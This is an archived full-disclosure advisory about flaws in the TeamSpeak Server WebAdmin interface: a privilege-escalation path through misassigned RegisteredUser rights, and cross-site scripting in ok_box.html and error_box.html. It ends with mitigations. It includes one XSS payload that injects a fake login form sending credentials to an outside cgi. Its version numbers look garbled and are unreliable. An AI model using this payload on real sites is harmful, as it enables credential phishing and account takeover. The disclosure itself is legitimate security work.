|Main Archive Page > Month Archives > full-disclosure-uk archives|
several months ago I discovered some vulnerabilities in TeamSpeak Server WebAdmin interface.
I sent the advisory and exploit to the developers about two months ago (11 03 2007), but the server is still vulnerable, today.
Affected software: Teamspeak Server 184.108.40.206
Looks like the beta build 220.127.116.11 isn't affected (or at least my exploit doesn't work on that).
TeamSpeak server is based on a "site" and multiple "virtual servers".
On each "site" there are one or more SuperAdmin users that can manage the site configuration, adding more SuperAdmin users, adding, starting, stopping or removing virtual servers or even manage each single server, by selecting it from the web interface or the text-based one.
Each virtual server has one or more ServerAdmin users that can modify virtual server parameters (like the name), adding new users for the specified server (also new ServerAdmin users) and modify user privileges relative to that virtual server.
The problem lies on the RegisteredUser privileges configuration page: in that page are listed privileges intended to be associated to the SuperAdmin role, like AdminAddServer or AdminStartServer. By activating these privileges for the RegisteredUsers role, loggin in with a new RegisteredUser account and doing some simple url tampering it is possible to CREATE, START, STOP and DELETE virtual servers to the site, without SuperAdmin access.
What is required:
Here is a simple exploit pattern:
Pages ok_box.html and error_box.html are vulnerable to common Cross Site Scripting attacks:
expired - please
login&error_text=<form action="http://127.0.0.1:31338/own.cgi">User: <input
type="text"><br>Pass: <input type="password"><br><br><input type="submit"></form>&error_url=index.html
Disable WebAdmin access.
Upgrade to beta release.
(sorry for my bad english :))